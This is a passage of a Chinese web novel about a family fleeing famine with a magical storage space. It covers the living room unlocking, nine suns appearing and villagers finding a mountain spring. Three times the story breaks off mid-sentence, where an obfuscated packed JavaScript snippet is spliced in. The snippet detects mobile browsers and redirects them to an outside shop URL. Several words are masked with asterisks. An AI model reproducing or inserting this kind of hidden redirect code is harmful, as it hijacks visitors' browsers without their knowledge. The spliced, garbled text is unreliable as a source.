说着,宁爸朝她一伸手。 钱婆子被这操作震惊到说不出话来。 “你”了半天,她差点没直接晕过去,捂着脸对着后面的人哭诉。 站在她后面的村里人尴尬的粮食都不买了,直接跑到队伍最后面,重新排队也不站在那了! 宁妈感到好笑,把粮食袋子从赵宁宁手里接过来,一家三口往回走。 这只是队伍里的一个小插曲。 钱婆子假哭了一会,见没人理会她,一抬头,赵老二一家子也走了,只能闷闷不乐去排队买粮食。 甭说是二十两,就算是二两!她也不会掏给赵老二的,世上只有儿子给老子拿钱的,哪有老子给儿子拿钱的! 马车上的粮食渐渐卖空。 粮食流水一般,流入队伍里的粮袋子里。 各家各户想到接下来还不知道要走多久,买好粮食后,都将粮食分成一小袋一小袋的,在身上、车上各处藏好。 赵宁宁家买了一小袋,被周剑看到,周剑跑回去“告状”,何氏不由分说地,让周剑拿着约莫有十斤的一袋粮食,学着赵启和宁妈那样,直接给人丢在车头上,然后直接跑了。 宁妈看见,捂着肚子笑个不停。 粮食暂且手下,她打算等周家吃得差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229771|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多的时候,再把这袋粮食还给他们。 队伍休息到下午申时末,再接着出发。 从树林子里一挪到大路上,赵宁宁就被太阳晒得脸都直接开始发烫起来。 宁妈忙让她回车厢,车厢里摆着三个**,怎么也比车厢外凉快一些。 “妈……这气温是不是越来越高了?”赵宁宁晃晃手里的**,里面的冰块每次都是填满的,刚开始逃荒的时候,冰块能坚持到下午休息吃饭,后面时间越来越短。 赵宁宁把**的盖子打开,果然,里面的冰几乎都快化光了! 现在才下午刚出发,**里的冰块只剩下一点点薄薄的冰片片。 接触到闷热的空气,这一点点冰片片以肉眼可见的速度,直接化成冰水水。 赵宁宁:“……” 温度绝对升高了!绝对! 本来就很热,再热下去……怕是白天没法再赶路。 赵宁宁把**的变化告诉宁妈,宁妈也觉得今天要比平时还要热。 不止他们一家人这样觉得。 里正和村长也这样想。 刚走没多远,村长喉咙便跟被火燎烤一样,又干又痛,他想找里正说话,嘴一张开,话都几乎说不出来。 拧开竹筒喝了口水之后才好一些,他说:“老王,这天是不是不对劲?” 里正擦擦汗,点点头。 “白天不太适合赶路了。” 明天再晚一些再赶路,不然这么热的天走下去,队伍里的人会直接中暑的! 走到太阳下山,一队人才休息。 趁这个机会,里正宣布:明天半夜寅时开始出发,走夜路走到巳时正再休息,一直休息到酉时初,这样半上午和一下午,三个半的时辰都在休息。 白天休息过后,酉时初出发,走夜路走到亥时初,走两个半时辰再休息。 睡到寅时,再次出发。 这样来回交错着,虽然走夜路要慢一些,那也比大热天的赶路要好。 这个决定通知下去,村里人都赞同。 甚至有汉子喊着:早该这样,白天能多休息休息,也不用顶着大日头赶路,睡饱了晚上多走走。 还有人说:大白天休息比晚上休息要安全,亮堂堂的,有没有坏人一眼过去便能看到了。 宁爸听到他们的话:哼,你们还是太天真了! 寅时里正喊人起来的时候,村民们第一天感觉着新鲜,麻溜地便起来了。 让赶路也开始赶路了。 走到巳时,平时休息的时辰,大家也照常休息。 可等到晚上再赶路的时候,他们越走,精力越是不济。 以前白天休息归休息,晚上又不用走这么久,自然没觉着累。 现在白天休息——说是休息,那么热的天,不管是在哪睡,都热得人睡不安稳。 甚至起来的时候头热得有些胀痛。 但不管怎么说,最热的时候休息,总比最热的时候赶路要强得多。 背靠天脸朝地的百姓,适应能力很强,没两天,村里人便调整过来。 但是再怎么适应,白天气温还是很高,赵宁宁热得都有些发烧了。 她的头昏昏沉沉的,宁妈看女儿蔫吧吧的,伸手一摸才觉得不对。 宁妈从空间里拿出一包之前宁爸在府城买的治高热的药包,计算好分量之后,宁妈拿出一个新的小陶锅添水泡药。 赵启默默把陶炉搬下车,在架子车旁边引炉子。 药泡好后,宁妈把陶锅坐上,开始熬药。 现在是白天休息的时间,宁宁家这边刚把药煮开,那边何氏便闻到了味道。 她过来看到宁妈在煮药,一问之下,是宁宁热到了,转身回去取了一桶水过来要塞给宁妈。 宁妈推拒了好一番,才打消何氏送水的念头。 药煮好后,宁妈端到车厢里,把宁宁从空间里喊出来,让她将中药喝下。 又让赵宁宁从空间里拿出酒精来,宁妈给她擦擦手脚,想着这个土法子能降温。 做完这些,宁妈打发她回空间去休息。 赵宁宁刚进空间,人又立马出来。 激动地拉着宁妈的手,“妈!解锁了!” 第47章 客厅解锁! 宁妈脸上一喜,按照空间的顺序,下一个解锁的区域应该是……客厅! “是客厅吗?”宁妈迫不及待地问。 “是!”赵宁宁说:“这次解锁的就是客厅!而且是一整个客厅!” 老天奶!她终于可以不用睡玄关了!赵宁宁宣布:她待会进去就要去睡沙发! “那可太好了,客厅电视机柜下面的抽屉里有药箱!”宁妈拍手,“你……现在刚喝了中药,等晚上看看,再不退烧,你就去吃西药……你先把西药拿出来,我先放空间里一份!” 家里的区域又解锁一个,赵宁宁感觉自己头没那么痛,好像已经好了! 她跑回去在客厅抽屉找了找,果然找到一个药箱,赵宁宁顾不得扒拉其他的东西,把药箱拿出去,交给宁妈。 “真了不得!”宁爸赞道:“真是及时雨一样的解锁!” “那可不是,早知道不熬药了,这样宁宁吃一颗退烧药,咱们就不用担心了。”宁妈无奈,但现在宁宁喝都喝了,只能等中药吸收完,再看情况。 “但是……现在不是收垃圾的时间,空间怎么会解锁区域?”赵启问。 “可能是有其它触发的条件吧。”宁妈摸摸宁宁的头,“先别想这个,你先去睡觉,记得盖好被子,别着凉。” 宁妈让赵宁宁先回去睡觉,剩下的等她烧退了再说。 赵宁宁点头,回到客厅,先溜达了一圈,发现客厅桌子上摆的有她之前拿出来看电视准备吃的薯片,先拆开一包吃了,这才把被子抱到沙发上,盖着睡觉。 一觉起来,赵宁宁感觉浑身都轻松许多,她自己摸摸额头,额头已经不发烫了。 烧退了! 她爬起来,环视四周。 客厅中间是沙发,沙发后面是一条小吧台,吧台往外走,是客厅的大阳台。 客厅摆着一个长条大沙发,还有两个单人沙发。 沙发前铺着地毯,没有放茶几,放了两个零食推车,沙发夹角的地方,放了一个小方桌,方便放水杯和遥控器。 沙发正对面,是一组电视机柜,电视机柜上方是一百寸的电视,电视上挂了一个表。 赵宁宁看向客厅上面挂的表——下午六点。 她起来,把吧台旁边的高脚椅搬到电视机柜前面,直接把表给取下来。 现在,他们家也是能看时间了! 揣着表,赵宁宁拿遥控器去开电视,但电视没有信号,全是花屏。 无奈关掉,赵宁宁走出客厅。 回到马车上,宁妈看到女儿出来,本来被热得有些头晕的她,脸上疲色一扫,欣喜地把女儿拉过来,用手心覆在她的额头上。 但赵宁宁刚从恒温的空间出来,整个人皮肤上都还带着一丝凉意,宁妈摸不出来。 “烧已经退啦!”赵宁宁又不是真的八岁小孩,她出来之前就给自己看过了。 把怀里的表掏出来,赵宁宁让宁妈看看。 好久没有看到这种现代化的东西了,宁妈抱着稀罕的不行。 这个表赵宁宁做主,直接放在车厢里,等空间再刷新了,每天都取下来一个攒着,这样外面的电池用光之后直接换新的。 赵宁宁客厅的区域详细给家里人讲了。 只可惜他们客厅区域没什么东西,宁爸听完还在庆幸当初装修的时候他力排众议,非要把进门右边的厨房当成中厨。 要是西边那个西厨,里面只有一些做茶和做烘焙的材料,他们一家子总不能在逃荒路上天天吃蛋糕。 话虽这样说,赵宁宁出来透过气之后,还是回到客厅,去搜罗能用得上的东西。 宁妈那边空间地方有限,食物的储存有限,赵宁宁把另外一包薯片放到一边,在沙发旁边的推拉车底部发现了一个黄桃罐头。 赵宁宁一喜,这样每天都会刷新出来一个罐头。 沙发上原本放着盖腿的两条小毛毯也被赵宁宁收起来。 除了这两样,赵宁宁仔细去翻看电视机柜的抽屉。 其中一个放的是药箱,药箱是宁妈按照抽屉尺寸买的,放进去满满当当,拿出去里面就只剩两包填缝隙的棉签。 赵宁宁掏出来。 另外一个抽屉是家里各种电器的充电线还有电器使用说明书。 还有一个抽屉放的是遥控器和电池,里面塞的还有一个电池不太好用的蓝牙音响。 这是之前徒步的时候,宁爸拿来放歌听的,后来电池不耐用,他就给带回来丢这里了。 除了这些,客厅真没什么东西了。 甚至还不如玄关柜子的东西多。 不过它唯一的好处是空间足够大。 赵宁宁把中间的地毯拖走,拿抹布把客厅仔仔细细擦干净,在地上垫了一层爬爬垫,再把原先铺在玄关的棉被铺底给搬过来铺在这里。 客厅又打有空,她贴着沙发睡,有一些安全感。 布置好自己的新小窝之后,赵宁宁才拿着从客厅搜刮出来的东西出去。 外面的天已经黑透了,走夜路的队伍速度要比白天至少慢一半,赵宁宁今天一觉起来神清气爽,她主动出去替赵启举火把,让哥哥回车厢里休息一会。 赵启确认妹妹已经没事之后,才拿着自己的**回去。 看看车厢里的表,八点的时候宁妈喊赵宁宁回车厢吃晚饭。 他们吃过之后,宁爸回车厢吃,顺势休息一会。 这样一直走到晚上十点,队伍才停下来。 一停下来之后,队伍开始生火做饭。 宁妈下车,把炉子架起来,烧点稀饭喝。 他们刚才在车上吃过,这会还不饿,烧点稀饭既不打眼,还能做掩饰。 稀饭烧好已是十点半,赵宁宁被拉着喝了稀饭,宁妈让她回车上量体温。 宁爸喝好,他刚喂完两只牲畜,正在架子车前面安睡觉用的木板。 赵启喝完,自觉地去把碗和炉子往车上收。 待会辛苦妹妹把碗带到空间里的洗碗机里洗一下。 宁妈归拢粮食袋子和柴火。 一家四口各有各的事忙活。 忙活完之后,离天亮还有四个小时,所有人都抓紧时间睡一会,不然待会就要起来赶路了。 临睡前宁妈还在想,下次找机会多做点粥,这样晚上拿出来稍微煮一下就能喝,不用再守着锅等半天。 睡梦中,宁爸觉得什么东西亮亮的。 翻了个身,他睁开眼,看到远处黝黑的山脊上,镀上了一层红彤彤的太阳。 不是说寅时正就出发吗?这会太阳都出来了,难道是里正放水,让大家多休息会? 醒来之后宁爸就睡不着了,他干脆起来去看牲畜。 喂牲畜吃粮草的功夫,天色大亮。 这下不止宁爸一个起来,其他人也都起来,都以为今天推迟出发。 里正匆匆起来,一看外面天色已经大亮,还以为今日睡过头,忙招呼着家人生活做饭。 饭做到一半,这早晨竟然亮得不像话。 里正眯着眼去看天空,迎着刺眼的光,他恍惚了一下。 两个亮的东西在天上。 他以为自己眼花,揉揉眼,再用手遮在眉骨上方往天上看。 ——两个太阳?! 里正忙喊媳妇过来看,里正媳妇放下手里的锅,顺着里正指的方向看过去——两个太阳! “两个太阳!?” “天上怎么会有两个太阳!” “是不是另一个太阳的影子?” “完了——一个太阳就这么热,两个太阳,怎么不直接要我的命!老天爷……你放过我们吧……” …… 村里人吵吵闹闹的,宁爸在里正那边好几个人往天上看的时候也跟着往天上看,他也发现了不对。 好端端的,老天多了一个太阳! 车厢里,宁妈听到外面的动静出来,看看天又回去看了看表。 现在才四点多,天就亮了。 天上还多了一个太阳,怪不得昨天气温那么高……原来是有预兆的。 “这可怎么办?”宁妈皱眉。 一个太阳就够热的了,两个太阳,地上怕是都要晒焦了吧? “让宁宁多囤点冰吧。”宁爸叹气,“万一这只是开端……” 书里也没说九个太阳的事,只写了女主吃吃喝喝和男主打情骂俏,遇到危险男主替她出头。 只有几个重大转折,才写了一笔。 比如干旱之后的洪灾。 但是也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229772|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道洪灾具体是什么时候,赵启推算最快也要在一个月之后。 也就是说,这一个月,大家伙都要忍者这般热的天气。 推迟半个时辰,队伍卯时才出发。 听说外面有两个太阳,赵宁宁打开车厢门往外看。 两个太阳紧紧挨着,看过去感觉眼睛都要被闪瞎了,赵宁宁悻悻把头收回车厢。 怀里抱着**,只有怀里这一块是凉快的,更不用想外面的温度。 想了想,赵宁宁回空间,找东西装水往冰柜里放。 每天早上,赵宁宁和宁妈都会在车厢里把冰柜的东西做个交接,赵宁宁拿出来,宁妈再收到她的空间里。 冰柜白天是空的,赵宁宁就会用盆子和碗接水放进去冻。 一盆子水放进去,一整天就能冻硬实,冻好敲碎拿给宁妈,宁妈直接存在她的空间里,冰块放进去是什么样,拿出来还是什么样。 赵宁宁回去,盯着冰箱,想了想,她把冰箱保鲜层也利用起来,往里放了三盆水。 就算不能结冰,保鲜层的水也要比普通的水还要凉一些,拿出去不管是给自己降温还是给牲畜降温都好用。 不然……这天气实在是太热了! 队伍走到巳时正时,队伍已是**之末,里正看出那些没有牲畜拉车的人家走得摇摇晃晃的,忧心不已。 下官道休息,里正摇着蒲扇叹气。 不扇扇子,热,扇扇子,一股热风被扇过来,也不凉快。 怎么都是热,里正干脆把扇子放下。 村长带了一个草帽,溜溜达达过来。 “老李,这样走下去可不行。”里正说:“你看那边的山,山上温度应该要比山下低。” 村长抬眼看了看远处的山。 “你想过去?” 闻言,里正摇头,“还不到时候……” 现在还能赶路,只要走到黄石县,他们就能找个落脚的地儿。 尚家加入队伍的时候说,北边受的影响小,越往北,活下去的希望越大。 “明天早些休息吧。”村长背着手,溜溜达达又走远了。 翌日。 天亮得还是那么早。 里正起来第一件事是眯着眼往天上看,他想着:万一昨天只是昙花一现,今天兴许恢复成一个太阳呢? 结果一看过去,里正差点没跌坐在地上。 天上又多了一个太阳! 不多时,起来的村民也发现这件事,饭也不做了,嗡嗡地在讨论天上的太阳。 有人说是触怒鼠神、蝗神,老天才这样的。 也有人长跪在地上不起,想要祈求老天放过他们这些可怜的百姓。 老天无比冷酷,不但没有理会地上不住哀求的生灵,在接下来的几天,天上太阳陆续变多。 白天延长到十八个小时,且奇热无比。 队伍简直没法再继续往前走,白天中午那段,光是呼吸着空气都难受无比,根本没法睡觉。 晚上的几个小时倒是好一些,但是……总不能都拿来走路。 行走的时间从十三个小时锐减成只有六个小时。 到天上第九个太阳的时候,太阳终于不再增多。 这时候,队伍已经断水一天了。 离黄石县还有七十多里地。 里正家的木水箱只剩下一个底儿,更不用说其他村民。 队伍里有人缺水,走路的时候走一步晃三下,完全是吊着一口气在跟着走。 “咱们,进山吧!”里正指挥大儿子去牵马。 “今天晚上不往前走了,你牵马带着你二弟去前面探路。” 安排好两个儿子,里正吧最后剩的一点水用水囊装起来,塞到他们手里。 王修奉捧着水囊,郑重地喊道:“爹!” “去吧。”里正低下头,摆摆手。 王修奉又看一眼自家老爷子,他为了省一口水给小孙子喝,自个儿嘴干得都裂开了。 他一定要找到水! 王修奉把自己的水囊压在马车下面,只让弟弟带了一个水囊。 趁队伍还在休息的时候,他骑马带着弟弟出发,去寻找能够落脚的地方。 另一边,宁爸把马套好,赵宁宁把自己的**也拿给他们俩。 第48章 九个太阳 宁妈把之前收缴上来的那把大刀拿给宁爸。 给他们父子俩准备好吃的,宁妈叮嘱:“找不到的话别在山里逗留太晚,要是看见里正家的人,跟着他们一起回来。” “行!”宁爸扶扶头上的草帽,翻身利索地上马,赵启从车头上跨坐在他后面,拉着他衣服。 父子骑着马朝大山的方向跑。 直到看不到他们的背影,宁妈才把视线收回来。 何氏也收回担忧的目光,又是担忧又是期盼,“你说说,里正都派人去了,他俩去干什么!” “哎呀,娘,你就别担心了,他俩心里有成算的。”宁妈转移话题道:“你给宁宁编的草帽编好了吗?” 何氏看到村长头上的草帽,赶路的时候拽着引火用的稻草也比葫芦画瓢编了一个差不多样式的。 第一个丑得不行,她拿给周剑戴了,第二个才好一些,她编到第三个的时候才稍微熟手一些,想着宁宁他们也是替换着赶车,编了一大一小两个先送过来。 没想到刚送来,就赶上那俩父子要骑马出去找水源。 “没呢!我又想到了一个花样,我给宁宁你们俩编一个帽檐大的,这样遮光。”何氏想到还要编草帽,带着忧心回去。 支走何氏之后,宁妈才一脸无奈地回车上。 赵宁宁她俩的**都贡献出去了,只能在车上放一个盆子,盆子里放一点大的冰块。 这样起码车厢内不那么热。 宁妈让赵宁宁回空间,赵宁宁摇头,现在这里就只剩她和宁妈,它要留下来陪着。 另一边。 宁爸带着赵启,往山里跑,这匹马平时没白喂,真跑起来速度极快,热风呼呼地吹过,两边的树在往后**。 平时坐马车还好,马车走得慢,再加上自家的马车做了一点减震设计,赵启适应良好。 现在坐在马背上,跑起来一颠一颠的,赵启脸色煞白,他有些晕马。 坐在前面的宁爸浑然不知,拉着缰绳一口气跑到山脚下才停下,停下之后刚想问儿子有没有什么头绪。 只听见“哇”的一声,赵启在后面吐了。 宁爸转头,看到赵启扶着马屁股在往地上吐。 “你……”宁爸没说完,赵启闻到马的汗味和马尾巴上若有若无的马粪味,一张嘴又开始吐。 宁爸微微摇头,等儿子吐完,把水囊递给他,让他漱漱口。 一边轻轻夹夹马肚,让马儿往前走了几步。 赵启胃里的东西吐完,脸色恢复过来几分,漱口之后,宁爸又问他要不要回去。 摇摇头,赵启说:“爸……你走慢点。” “好好!走走走出发咯!”宁爸轻扯缰绳,这次胯下的马没有再狂奔,而是逛街一般慢慢往前跑。 一起一落的,跟坐摇摇车差不多,赵启渐渐适应这个节奏,这才有心情看周围的山脉。 谁让他们家就他爱看杂书,之前看到过书上说的,在山里怎么寻找水源。 如今山上的树叶几乎都枯黄了,辨认难度极大。 赵启只能从其他方向去找,比如——石头。 流水经过的石头,跟普通石头不一样,它会有一条“路”,“路”上的石头在丰水期会被水流冲击得十分光滑,且四周一定会散落一些小石头。 照着这个法子,还真让他俩发现一块地方,石头跟普通的山石不太一样。 按照宁爸徒步经验,这石头跟他之前徒步时蹚的溪石差不多。 “沿着这个往山上走,说不准能碰到水源。”赵启说。 就算找不到水源,往山上走,温度应该也会比山下低一些,要是能找到山洞就更好了,没有山洞的话,有那种山壁,挖一下也能进去乘凉。 怎么都比在山下干晒着强。 两人一马顺着已经干涸的溪石往山上走。 不知是因为傍晚的原因还是海拔的原因,越往上走,确实越来越凉快。 快走到这座山三分之二的地方时,赵启高兴地抓着宁爸的胳膊,“爸!有绿色的植物了!” “哪儿呢哪儿呢?”宁爸四处张望。 “底下,在底下!”赵启指指贴近地面的位置,宁爸顺着儿子指的方向看,果然,地面上竟然有一小丛灌木丛还有叶子! 有绿色的植物就说明,附近有水!哪怕是地表之下的水分,这里也没山下那般干旱! 驾着马往前跑几步,果不其然,石缝里微微有水渗出。 宁爸兴奋地跳下马,扒着石头看看,“小启,这里有水!” 牵着马往上再走,水源从若隐若无的细线变为一小把粗线,最后是两拃左右的溪流! 宁爸怕水太少,继续往前走,一直走到水的源头——是一个泉眼,泉眼才只有一捧,但可以源源不断地出水。 “走!下山!” 宁爸骑上马,甩着赵启往山下跑。 赵启下去之后又吐了一场,上山时候他已经把胃里的食物给吐光了,这会只吐了一点酸水。 看得宁妈心疼不已,握着拳头梆梆揍了宁爸好几拳,宁爸跟宁妈讨饶过后,拉着赵启的手连连道歉。 ——找到水源了! 里正心里悬起来的石头狠狠放下。 现在就等他两个儿子回来就成,等他们回来,一起往山上走。 天色快黑透时,两人才从山里下来。 里正拉着人问,原来他们直接去山的背面找的,绕了一些路,虽然没找到水,但找到了一个天然洞窟,里面要比外面凉快许多。 现在轮到里正纠结了,是去水源地,还是去洞窟? 两个都想去……但,水源还是更重要一些! 在一旁等候多时的村民看到人到齐,轮番过来问里正什么时候出发,里正咽了口唾沫润润嗓子,这才说:“现在!现在就走!” 一行人迫不及待往山上走。 上山的路不好走,宁爸在后面控制着骡车,赵启拿着火把在最前头领路。 他之后,是队伍里的汉子们,每隔一段,都有人举着火把照路。 这样,原本只要一个时辰的路程,他们也硬是走了两个半时辰。 走到山腰上的时候,天都快亮了。 看到带着叶子的灌木丛的时候,村民们激动得泪都流下来了。 有的人直接跪在地上,旁边的人赶紧去拉他。 闹呢!现在还没走到有水的地方! 往前再走没几步,果然!一小片溪流出现在众人眼前。 这溪流窄得都容不下一个小孩,深度也只有半个胳膊这么深。 一群人马车都没停稳,就要冲上去打水。 里正忙拦住他们,斥责道:“急什么!村里这么多人!水这么多!够喝的!” 被他拦住的汉子作揖求饶道:“里正,你会让我去吧,我两天没喝水了,再不喝点,我怕是要死在这条溪流前面了。” 他嗓音粗哑,听得里正头皮发麻。 其他抢水被拦住的人也纷纷看向这边,殷切的目光看得里正心头一震。 不能开这个口子,只要开这个口子……以后队伍里的人见到水就要抢,这样下去可不好! “不行!”里正拒绝,“你们几个站到这边排队,按顺序去打水!” 被拒绝之后,这群人臊眉耷眼地站在一边排队,他们拿的水桶少,站着的时候让家里人送过来。 队伍停稳,送桶的人越来越多,甚至有两家平日里是相邻着走路,见老大哥在前面排队,另一个说说好话,把自家的桶送过去“插队”,生怕排队晚,接不到水。 里正皱眉看着他们,吩咐大儿子去拿一个自家的桶和瓢过来。 顺便把队伍里的名单拿过来。 在王李村的时候他为了方便看村里人要交多少粮税,专门有一个名单记录村里的人口。 “站好,这次取水按户数取,一人占一瓢水。” 里正拿着名单,一个一个核对。 排队取水的人听到这种霸道的规定,立马有人把桶扔在地上不干了。 “老子忍你很久了!天天死鬼一样的赶路赶路!晚上就让睡那么一会儿! 打个水还要按人头,哈?算军功呢?!我现在去砍几个人头给你摆在这,你能多给我几瓢水吗!” 那男人朝地上唾了一口唾沫,“呸!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229773|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我今天就要打水!给我打五桶水过来!” 村长朝着儿子使了个眼色,李斯上去,抡圆膀子直接啪啪给那人脸上扇了两把掌。 “不爱跟着队伍走就滚蛋!”村长冷眼看着他:“要不是里正,你能活着走到这里?” 如果没记错的话,这家汉子在合庆县的时候就没粮食了,排队买也没买到。 要不是他们从尚家这里换来一车粮食卖给村里人,村里大多数在府城的时候就断粮了。 “你!你竟然敢打我?!”男人捂着自己肿胀的脸,指着村长问里正:“里正!村长让人打我!” 往日里,里正都是村里最好说话的那个人。 “村长说得对,爱呆不呆,我又不是欠你们的,要不是想着同村的情谊,我何苦拖着你们一起走这么久。” 要不是带着村里人,他们也不用一起在路上干熬着! 要不是带着村里人,那一车的粮食里正自家就能吃得下! 要不是带着村里人,他们驾着马车,应该已经到黄石县了! 现在还有人想**! 溪边氛围诡异的安静,以里正为首,一部分站在他身后,静静地看着这个吃水还忘挖井人的男人。 还有一部分暗戳戳地站在一边看热闹,想着若是这人能要到五桶水,那他们也要! 男人看着里正那边的架势,眼底闪过一丝慌乱,紧接着是无尽的嫉恨。 确实如村长所言,他们能走到这里,光靠自己是不行的,还靠着里正和村长安排人值守,靠里正和村长安排路线,靠着他们组织队伍往前走。 现在还不是闹起来的时候,闹起来只会更加吃亏! 男人低下头,掩去眼里的恨意,捂着脸默默走到一边。 村长冷冷盯着他,好一会,排队取水的队伍才继续动起来,这次没有人再**,都听从里正的安排,按人头取水。 一波取完,他们又开始重新排队,就这样轮流着,取了三次水,这里的水干了。 里正大儿子前去查看,好在泉眼处还在往外出水,只是出水速度慢,一瓢水要等一炷香的时间。 队伍跟着往上,觉也不睡了,就守在泉眼边上。 赵宁宁让其他几个人去睡觉,她白天可以回空间的客厅睡觉,但是宁爸宁妈几个最热的时候不能直接睡,现在趁气温还没完全升上来的时候,让他们多去休息。 怀里揣上待会要吃的饼子,赵宁宁坐在溪边的大石头上,安安静静用石子摆着平衡。 她后面是周剑,周剑让何氏先去休息,他在这里陪着小外甥女一起。 看赵宁宁玩了一会,周剑玩心大起,两人开始比赛,看谁摆的石子最高、最多。 正摞到第十个石子,赵宁宁小心翼翼往上放第十个的时候,眼前突然出现一只脚,摞好的石子就这样被一脚踢散。 赵宁宁皱眉抬头,借着火光一看——找晦气的来了。 “哟!”赵慧兰夸张地捂住嘴,“不好意思啊五丫,太黑了,我没看见是你。” “你不会怪我吧?” 赵宁宁心里年纪都十八了,看十六岁的赵慧兰跟看小学低段位小绿茶一样,一眼就能看透。 什么不是故意的,她就是故意的! 不知道她哪根神经搭错过来这里找事,赵宁宁摸不准她想干什么,先按兵不动。 看看时间差不多该吃午饭了,赵宁宁从怀里摸出一个布包,布包打开里面有油纸包着的两个饼子。 饼子是二合面的。 赵慧兰盯着饼,悄悄地咽了口唾沫。 ——饼子!完整的一个饼子! ——这个死丫头手里怎么会有这么多吃的! “五丫!”赵慧兰脸上挂上笑,“刚才不小心把石头给你踢散了,我帮你再拼一个吧?!” “我拼完,你把你手里的饼子给我半个、不,给我一个就行。” “反正你人小,一个人也吃不了两个饼。” 赵慧兰说了一长串话,听得赵宁宁以为自己幻听了。 “什么饼?”赵宁宁把其中一个当着赵慧兰的面递给周剑,“这是我和小舅舅的午饭。” 第49章 又来? 赵慧兰心里骂了一通死丫头,好端端一个饼子就这样给外人都不给自己这个亲堂姐。 脸上的笑差点没挂住,她道:“那不是怕你吃不完浪费吗……我这是好心帮你。” “现在都逃荒了,谁好心帮人是帮人吃饭啊!”赵宁宁咬一口饼,嘴里囫囵嚼着,含糊道:“我帮你吃饭,你看行不?” “你!”赵慧兰差点要骂人,眼看着赵宁宁咬下去的饼子,里面还是带馅的,她咽咽口水,盯着饼子说:“那你也不能把饼子白白送给外人啊!” “外人?”赵宁宁翻了个白眼,“我跟你很熟吗?这是我小舅,亲小舅!他还帮我家干活,你呢?你只会张着嘴讨饭吃!” “我们俩帮家里人干活,家里人才给我们吃的,你呢?你不但不干活,还在这里闲逛,是不是吃饱了——撑的?” 一番讽刺的话下来,赵慧兰气得耳朵都红了,脸上火辣辣的,不知道是太阳晒的,还是被赵宁宁的话气的。 “死丫头,你别不识好歹!”赵慧兰两只手指掐着袖口的布料,眼看赵宁宁一大口咬下去,一张饼顿时少了一大块,她心里一急,伸手就要去抢。 赵宁宁早就防着她这一招,直接一个闪身躲过,赵慧兰直冲冲朝地上趴下去,一双手擦在地上直接擦破了。 赵慧兰在家里哪受过这种气?顿时,她哭起来。 赵宁宁无奈地换了个地方,三两口把饼子吃完,对周剑挑挑眉,“小舅,队伍该往前走了。” 甥舅两人默契地提着桶往前挪了挪。 见他们俩连管都不管自己,赵慧兰哭得更伤心了。 刚好这会赵老大过来看她排队排到哪里,一看自家女儿在地上趴着哭,赵老大手足无措地站在一边:“慧兰!你没事吧!你怎么在地上趴着!” 赵慧兰用手背拭拭脸上的泪,指着赵宁宁说:“爹!都是他们,是他们害得我摔在这里的!” “究竟是咋回事!”赵老大气冲冲去找赵宁宁,伸手就要去拉赵宁宁的胳膊。 “五丫!你咋欺负你姐!” 周剑一个起身,将赵老大挤开,不爽地看着赵老大:“你怎么不分青红皂白过来拉扯宁宁!” “那、我这不是心里着急吗!”赵老大讪讪地收回手,“五丫!你怎么回事,你怎么欺负你姐!” “谁说是我欺负她的?”赵宁宁都无语了,“是她自己想抢我的饼子,没抢到扑了个空摔在一边,现在反倒怪我?” “那你不躲,她不就摔不到了吗!可怜我家慧兰,一双手就这样擦破皮了,哎呦……”赵老大心疼不已,倒不是心疼他女儿把手擦破,而是心疼赵慧兰养了这么多年的手,以后可能会留疤! 留疤就不好嫁给那些大户人家了,人家挑长相、挑身段、还看你身上有没有斑,有没有疤。 让孙氏看见女儿的手,孙氏保准得骂人! “你这话说得真搞笑。”赵宁宁人小,气势却不输,她站在石头上叉着腰说:“我不躲,饼子被她抢,人还会被她推倒!” “到时候擦破皮的可就不是一双手,而是我的头了!” “你媳妇抓我去卖不成,害我把头磕破了。怎么?你女儿也想学学她娘那样,继续过来害我把头磕破?” 赵宁宁头上的血痂掉落之后,一直有一个淡淡的痕迹,用眼一看便能看出来。 村民在排队等打水本就无聊,刚才赵慧兰来**他们还可以当成小孩打闹,这会大人掺和进来,还偏帮着自家的孩子。 有人看不下去,高声声援赵宁宁:“诶——赵老大,我刚才看的可是清清楚楚,你女儿要‘帮’着人家五丫吃饼子嘞!说是怕五丫吃不完浪费!” 他高声嚷嚷的腔调有些滑稽,周围看到全过程的人听见,噗嗤一笑。 赵老大的脸顿时红起来,他结结巴巴地辩解道:“这不是、这不是姐妹之间的好心吗……” 帮忙向来只有帮着干活,现在是逃荒路上,谁能像赵慧兰一样,能想到“帮吃饼子”这种烂肠子坏的想法。 “赵老大,咱们是同村之间,我好心帮你吃你的饼子,诺,你的饼子在哪呢?拿出来让我们帮你吃吃。” 赵老大说不过他们,扯着地上的赵慧兰往回走,赵慧兰用来排队的水桶留在原地都来不及拿。 原本排在她后面的人见状,悄悄伸出脚,把她的水桶踢到一边。 